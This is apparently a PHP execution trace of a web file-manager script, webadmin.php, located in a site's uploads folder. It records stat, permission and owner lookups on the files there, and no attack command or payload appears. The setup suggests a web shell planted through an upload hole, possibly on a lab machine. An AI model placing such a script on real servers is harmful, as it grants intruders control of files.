4	84	0	0.005194	795392	reset	0		/var/www/html/uploads/webadmin.php	888	1	['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	84	1	0.005213	795800
4	84	R			'root'
3		A						/var/www/html/uploads/webadmin.php	888	$file['owner_name'] = 'root'
4	85	0	0.005238	794656	function_exists	0		/var/www/html/uploads/webadmin.php	889	1	'posix_getgrgid'
4	85	1	0.005252	794696
4	85	R			TRUE
4	86	0	0.005265	794656	posix_getgrgid	0		/var/www/html/uploads/webadmin.php	889	1	0
4	86	1	0.005286	795312
4	86	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	87	0	0.005306	795280	reset	0		/var/www/html/uploads/webadmin.php	889	1	['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	87	1	0.005323	795688
4	87	R			'root'
3		A						/var/www/html/uploads/webadmin.php	889	$file['group_name'] = 'root'
3		A						/var/www/html/uploads/webadmin.php	891	$files[] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	88	0	0.005376	795328	readdir	0		/var/www/html/uploads/webadmin.php	853	1	resource(4) of type (stream)
4	88	1	0.005390	795400
4	88	R			'.'
3		A						/var/www/html/uploads/webadmin.php	853	$filename = '.'
3		A						/var/www/html/uploads/webadmin.php	855	$path = '/var/www/html/uploads/.'
4	89	0	0.005424	795408	lstat	0		/var/www/html/uploads/webadmin.php	857	1	'/var/www/html/uploads/.'
4	89	1	0.005440	797192
4	89	R			[0 => 2049, 1 => 524475, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524475, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 8]
3		A						/var/www/html/uploads/webadmin.php	857	$stat = [0 => 2049, 1 => 524475, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524475, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 8]
4	90	0	0.005501	796096	is_file	0		/var/www/html/uploads/webadmin.php	862	1	'/var/www/html/uploads/.'
4	90	1	0.005515	796128
4	90	R			FALSE
4	91	0	0.005528	796088	is_dir	0		/var/www/html/uploads/webadmin.php	863	1	'/var/www/html/uploads/.'
4	91	1	0.005541	796128
4	91	R			TRUE
4	92	0	0.005554	796088	is_link	0		/var/www/html/uploads/webadmin.php	864	1	'/var/www/html/uploads/.'
4	92	1	0.005567	796128
4	92	R			FALSE
4	93	0	0.005580	796088	is_readable	0		/var/www/html/uploads/webadmin.php	865	1	'/var/www/html/uploads/.'
4	93	1	0.005594	796128
4	93	R			TRUE
4	94	0	0.005607	796088	is_writable	0		/var/www/html/uploads/webadmin.php	866	1	'/var/www/html/uploads/.'
4	94	1	0.005622	796128
4	94	R			TRUE
4	95	0	0.005635	796088	filemtime	0		/var/www/html/uploads/webadmin.php	871	1	'/var/www/html/uploads/.'
4	95	1	0.005647	796128
4	95	R			1676255997
4	96	0	0.005660	796088	fileatime	0		/var/www/html/uploads/webadmin.php	872	1	'/var/www/html/uploads/.'
4	96	1	0.005672	796128
4	96	R			1676255997
4	97	0	0.005685	796088	filectime	0		/var/www/html/uploads/webadmin.php	873	1	'/var/www/html/uploads/.'
4	97	1	0.005697	796128
4	97	R			1676255997
3		A						/var/www/html/uploads/webadmin.php	873	$file = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997]
4	98	0	0.005736	796144	file_exists	0		/var/www/html/uploads/webadmin.php	877	1	'/var/www/html/uploads/./.'
4	98	1	0.005755	796184
4	98	R			TRUE
3		A						/var/www/html/uploads/webadmin.php	877	$file['is_executable'] = TRUE
4	99	0	0.005781	796088	function_exists	0		/var/www/html/uploads/webadmin.php	888	1	'posix_getpwuid'
4	99	1	0.005795	796128
4	99	R			TRUE
4	100	0	0.005807	796088	posix_getpwuid	0		/var/www/html/uploads/webadmin.php	888	1	0
4	100	1	0.005830	796888
4	100	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	101	0	0.005853	796856	reset	0		/var/www/html/uploads/webadmin.php	888	1	['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	101	1	0.005872	797264
4	101	R			'root'
3		A						/var/www/html/uploads/webadmin.php	888	$file['owner_name'] = 'root'
4	102	0	0.005897	796120	function_exists	0		/var/www/html/uploads/webadmin.php	889	1	'posix_getgrgid'
4	102	1	0.005911	796160
4	102	R			TRUE
4	103	0	0.005924	796120	posix_getgrgid	0		/var/www/html/uploads/webadmin.php	889	1	0
4	103	1	0.005945	796776
4	103	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	104	0	0.005965	796744	reset	0		/var/www/html/uploads/webadmin.php	889	1	['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	104	1	0.005982	797152
4	104	R			'root'
3		A						/var/www/html/uploads/webadmin.php	889	$file['group_name'] = 'root'
3		A						/var/www/html/uploads/webadmin.php	891	$files[] = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	105	0	0.006035	796792	readdir	0		/var/www/html/uploads/webadmin.php	853	1	resource(4) of type (stream)
4	105	1	0.006049	796872
4	105	R			'prepend.php'
3		A						/var/www/html/uploads/webadmin.php	853	$filename = 'prepend.php'
3		A						/var/www/html/uploads/webadmin.php	855	$path = '/var/www/html/uploads/prepend.php'
4	106	0	0.006085	796896	lstat	0		/var/www/html/uploads/webadmin.php	857	1	'/var/www/html/uploads/prepend.php'
4	106	1	0.006102	798704
4	106	R			[0 => 2049, 1 => 524479, 2 => 33261, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 57, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524479, 'mode' => 33261, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 57, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 8]
3		A						/var/www/html/uploads/webadmin.php	857	$stat = [0 => 2049, 1 => 524479, 2 => 33261, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 57, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524479, 'mode' => 33261, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 57, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 8]
4	107	0	0.006163	797608	is_file	0		/var/www/html/uploads/webadmin.php	862	1	'/var/www/html/uploads/prepend.php'
4	107	1	0.006178	797664
4	107	R			TRUE
4	108	0	0.006192	797624	is_dir	0		/var/www/html/uploads/webadmin.php	863	1	'/var/www/html/uploads/prepend.php'
4	108	1	0.006210	797664
4	108	R			FALSE
4	109	0	0.006224	797624	is_link	0		/var/www/html/uploads/webadmin.php	864	1	'/var/www/html/uploads/prepend.php'
4	109	1	0.006237	797664
4	109	R			FALSE
4	110	0	0.006250	797624	is_readable	0		/var/www/html/uploads/webadmin.php	865	1	'/var/www/html/uploads/prepend.php'
4	110	1	0.006266	797664
4	110	R			TRUE
4	111	0	0.006279	797624	is_writable	0		/var/www/html/uploads/webadmin.php	866	1	'/var/www/html/uploads/prepend.php'
4	111	1	0.006294	797664
4	111	R			FALSE
4	112	0	0.006307	797624	filemtime	0		/var/www/html/uploads/webadmin.php	871	1	'/var/www/html/uploads/prepend.php'
4	112	1	0.006321	797664
4	112	R			1676255997
4	113	0	0.006333	797624	fileatime	0		/var/www/html/uploads/webadmin.php	872	1	'/var/www/html/uploads/prepend.php'
4	113	1	0.006346	797664
4	113	R			1676255997
4	114	0	0.006359	797624	filectime	0		/var/www/html/uploads/webadmin.php	873	1	'/var/www/html/uploads/prepend.php'
4	114	1	0.006372	797664
4	114	R			1676255997
3		A						/var/www/html/uploads/webadmin.php	873	$file = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997]
4	115	0	0.006411	797624	is_executable	0		/var/www/html/uploads/webadmin.php	880	1	'/var/www/html/uploads/prepend.php'
4	115	1	0.006427	797664
4	115	R			TRUE
3		A						/var/www/html/uploads/webadmin.php	880	$file['is_executable'] = TRUE
4	116	0	0.006453	797624	function_exists	0		/var/www/html/uploads/webadmin.php	888	1	'posix_getpwuid'
4	116	1	0.006467	797664
4	116	R			TRUE
4	117	0	0.006484	797624	posix_getpwuid	0		/var/www/html/uploads/webadmin.php	888	1	0
4	117	1	0.006508	798424
4	117	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	118	0	0.006531	798392	reset	0		/var/www/html/uploads/webadmin.php	888	1	['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	118	1	0.006551	798800
4	118	R			'root'
3		A						/var/www/html/uploads/webadmin.php	888	$file['owner_name'] = 'root'
4	119	0	0.006576	797656	function_exists	0		/var/www/html/uploads/webadmin.php	889	1	'posix_getgrgid'
4	119	1	0.006589	797696
4	119	R			TRUE
4	120	0	0.006602	797656	posix_getgrgid	0		/var/www/html/uploads/webadmin.php	889	1	0
4	120	1	0.006627	798312
4	120	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	121	0	0.006647	798280	reset	0		/var/www/html/uploads/webadmin.php	889	1	['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	121	1	0.006718	798688
4	121	R			'root'
3		A						/var/www/html/uploads/webadmin.php	889	$file['group_name'] = 'root'
3		A						/var/www/html/uploads/webadmin.php	891	$files[] = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	122	0	0.006772	798328	readdir	0		/var/www/html/uploads/webadmin.php	853	1	resource(4) of type (stream)
4	122	1	0.006786	798400
4	122	R			'data'
3		A						/var/www/html/uploads/webadmin.php	853	$filename = 'data'
3		A						/var/www/html/uploads/webadmin.php	855	$path = '/var/www/html/uploads/data'
4	123	0	0.006821	798416	lstat	0		/var/www/html/uploads/webadmin.php	857	1	'/var/www/html/uploads/data'
4	123	1	0.006839	800200
4	123	R			[0 => 2049, 1 => 524476, 2 => 16895, 3 => 2, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524476, 'mode' => 16895, 'nlink' => 2, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 8]
3		A						/var/www/html/uploads/webadmin.php	857	$stat = [0 => 2049, 1 => 524476, 2 => 16895, 3 => 2, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524476, 'mode' => 16895, 'nlink' => 2, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 8]
4	124	0	0.006900	799104	is_file	0		/var/www/html/uploads/webadmin.php	862	1	'/var/www/html/uploads/data'
4	124	1	0.006915	799136
4	124	R			FALSE
4	125	0	0.006929	799096	is_dir	0		/var/www/html/uploads/webadmin.php	863	1	'/var/www/html/uploads/data'
4	125	1	0.006942	799136
4	125	R			TRUE
4	126	0	0.006958	799096	is_link	0		/var/www/html/uploads/webadmin.php	864	1	'/var/www/html/uploads/data'
4	126	1	0.006971	799136
4	126	R			FALSE
4	127	0	0.006996	799096	is_readable	0		/var/www/html/uploads/webadmin.php	865	1	'/var/www/html/uploads/data'
4	127	1	0.007014	799136
4	127	R			TRUE
4	128	0	0.007027	799096	is_writable	0		/var/www/html/uploads/webadmin.php	866	1	'/var/www/html/uploads/data'
4	128	1	0.007042	799136
4	128	R			TRUE
4	129	0	0.007055	799096	filemtime	0		/var/www/html/uploads/webadmin.php	871	1	'/var/www/html/uploads/data'
4	129	1	0.007068	799136
4	129	R			1676255997
4	130	0	0.007081	799096	fileatime	0		/var/www/html/uploads/webadmin.php	872	1	'/var/www/html/uploads/data'
4	130	1	0.007094	799136
4	130	R			1676255997
4	131	0	0.007107	799096	filectime	0		/var/www/html/uploads/webadmin.php	873	1	'/var/www/html/uploads/data'
4	131	1	0.007119	799136
4	131	R			1676255997
3		A						/var/www/html/uploads/webadmin.php	873	$file = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997]
4	132	0	0.007159	799152	file_exists	0		/var/www/html/uploads/webadmin.php	877	1	'/var/www/html/uploads/data/.'
4	132	1	0.007175	799192
4	132	R			TRUE
3		A						/var/www/html/uploads/webadmin.php	877	$file['is_executable'] = TRUE
4	133	0	0.007201	799096	function_exists	0		/var/www/html/uploads/webadmin.php	888	1	'posix_getpwuid'
4	133	1	0.007214	799136
4	133	R			TRUE
4	134	0	0.007227	799096	posix_getpwuid	0		/var/www/html/uploads/webadmin.php	888	1	0
4	134	1	0.007251	799896
4	134	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	135	0	0.007275	799864	reset	0		/var/www/html/uploads/webadmin.php	888	1	['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	135	1	0.007299	800272
4	135	R			'root'
3		A						/var/www/html/uploads/webadmin.php	888	$file['owner_name'] = 'root'
4	136	0	0.007324	799128	function_exists	0		/var/www/html/uploads/webadmin.php	889	1	'posix_getgrgid'
4	136	1	0.007338	799168
4	136	R			TRUE
4	137	0	0.007351	799128	posix_getgrgid	0		/var/www/html/uploads/webadmin.php	889	1	0
4	137	1	0.007373	799784
4	137	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	138	0	0.007393	799752	reset	0		/var/www/html/uploads/webadmin.php	889	1	['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	138	1	0.007410	800160
4	138	R			'root'
3		A						/var/www/html/uploads/webadmin.php	889	$file['group_name'] = 'root'
3		A						/var/www/html/uploads/webadmin.php	891	$files[] = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	139	0	0.007462	799800	readdir	0		/var/www/html/uploads/webadmin.php	853	1	resource(4) of type (stream)
4	139	1	0.007477	799880
4	139	R			'.htaccess'
3		A						/var/www/html/uploads/webadmin.php	853	$filename = '.htaccess'
3		A						/var/www/html/uploads/webadmin.php	855	$path = '/var/www/html/uploads/.htaccess'
4	140	0	0.007512	799896	lstat	0		/var/www/html/uploads/webadmin.php	857	1	'/var/www/html/uploads/.htaccess'
4	140	1	0.007529	801688
4	140	R			[0 => 2049, 1 => 524478, 2 => 33188, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 64, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524478, 'mode' => 33188, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 64, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 8]
3		A						/var/www/html/uploads/webadmin.php	857	$stat = [0 => 2049, 1 => 524478, 2 => 33188, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 64, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524478, 'mode' => 33188, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 64, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 8]
4	141	0	0.007591	800592	is_file	0		/var/www/html/uploads/webadmin.php	862	1	'/var/www/html/uploads/.htaccess'
4	141	1	0.007606	800632
4	141	R			TRUE
4	142	0	0.007619	800592	is_dir	0		/var/www/html/uploads/webadmin.php	863	1	'/var/www/html/uploads/.htaccess'
4	142	1	0.007632	800632
4	142	R			FALSE
4	143	0	0.007646	800592	is_link	0		/var/www/html/uploads/webadmin.php	864	1	'/var/www/html/uploads/.htaccess'
4	143	1	0.007659	800632
4	143	R			FALSE
4	144	0	0.007671	800592	is_readable	0		/var/www/html/uploads/webadmin.php	865	1	'/var/www/html/uploads/.htaccess'
4	144	1	0.007687	800632
4	144	R			TRUE
4	145	0	0.007700	800592	is_writable	0		/var/www/html/uploads/webadmin.php	866	1	'/var/www/html/uploads/.htaccess'
4	145	1	0.007714	800632
4	145	R			FALSE
4	146	0	0.007728	800592	filemtime	0		/var/www/html/uploads/webadmin.php	871	1	'/var/www/html/uploads/.htaccess'
4	146	1	0.007741	800632
4	146	R			1676255997
4	147	0	0.007754	800592	fileatime	0		/var/www/html/uploads/webadmin.php	872	1	'/var/www/html/uploads/.htaccess'
4	147	1	0.007766	800632
4	147	R			1676255997
4	148	0	0.007779	800592	filectime	0		/var/www/html/uploads/webadmin.php	873	1	'/var/www/html/uploads/.htaccess'
4	148	1	0.007792	800632
4	148	R			1676255997
3		A						/var/www/html/uploads/webadmin.php	873	$file = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997]
4	149	0	0.007831	800592	is_executable	0		/var/www/html/uploads/webadmin.php	880	1	'/var/www/html/uploads/.htaccess'
4	149	1	0.007847	800632
4	149	R			FALSE
3		A						/var/www/html/uploads/webadmin.php	880	$file['is_executable'] = FALSE
4	150	0	0.007873	800592	function_exists	0		/var/www/html/uploads/webadmin.php	888	1	'posix_getpwuid'
4	150	1	0.007886	800632
4	150	R			TRUE
4	151	0	0.007899	800592	posix_getpwuid	0		/var/www/html/uploads/webadmin.php	888	1	0
4	151	1	0.007921	801392
4	151	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	152	0	0.007945	801360	reset	0		/var/www/html/uploads/webadmin.php	888	1	['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	152	1	0.007965	801768
4	152	R			'root'
3		A						/var/www/html/uploads/webadmin.php	888	$file['owner_name'] = 'root'
4	153	0	0.007990	800624	function_exists	0		/var/www/html/uploads/webadmin.php	889	1	'posix_getgrgid'
4	153	1	0.008008	800664
4	153	R			TRUE
4	154	0	0.008021	800624	posix_getgrgid	0		/var/www/html/uploads/webadmin.php	889	1	0
4	154	1	0.008043	801280
4	154	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	155	0	0.008063	801248	reset	0		/var/www/html/uploads/webadmin.php	889	1	['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	155	1	0.008080	801656
4	155	R			'root'
3		A						/var/www/html/uploads/webadmin.php	889	$file['group_name'] = 'root'
3		A						/var/www/html/uploads/webadmin.php	891	$files[] = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4	156	0	0.008133	801296	readdir	0		/var/www/html/uploads/webadmin.php	853	1	resource(4) of type (stream)
4	156	1	0.008148	801336
4	156	R			FALSE
3		A						/var/www/html/uploads/webadmin.php	853	$filename = FALSE
3	52	1	0.008173	799544
3	52	R			[0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
2		A						/var/www/html/uploads/webadmin.php	1186	$list = [0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
3	157	0	0.008315	799544	array_key_exists	0		/var/www/html/uploads/webadmin.php	1188	2	'sort'	[]
3	157	1	0.008329	799608
3	157	R			FALSE
2		A						/var/www/html/uploads/webadmin.php	1188	$sort = 'filename'
3	158	0	0.008354	799544	array_key_exists	0		/var/www/html/uploads/webadmin.php	1189	2	'reverse'	[]
3	158	1	0.008368	799608
3	158	R			FALSE
2		A						/var/www/html/uploads/webadmin.php	1189	$reverse = FALSE
3	159	0	0.008393	799544	directory_choice	1		/var/www/html/uploads/webadmin.php	1198	0
4	160	0	0.008407	799688	urlencode	0		/var/www/html/uploads/webadmin.php	1438	1	'/var/www/html/uploads/'
4	160	1	0.008421	799784
4	160	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4	161	0	0.008437	799720	word	1		/var/www/html/uploads/webadmin.php	1438	1	'directory'
5	162	0	0.008451	799744	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'Directory'	2	'UTF-8'
5	162	1	0.008467	800016
5	162	R			'Directory'
4	161	1	0.008482	799904
4	161	R			'Directory'
4	163	0	0.008496	799808	textfieldsize	1		/var/www/html/uploads/webadmin.php	1439	1	'/var/www/html/uploads/'
4		A						/var/www/html/uploads/webadmin.php	1575	$size = 27
4		A						/var/www/html/uploads/webadmin.php	1576	$size = 30
4	163	1	0.008531	799808
4	163	R			30
4	164	0	0.008545	799808	html	1		/var/www/html/uploads/webadmin.php	1439	1	'/var/www/html/uploads/'
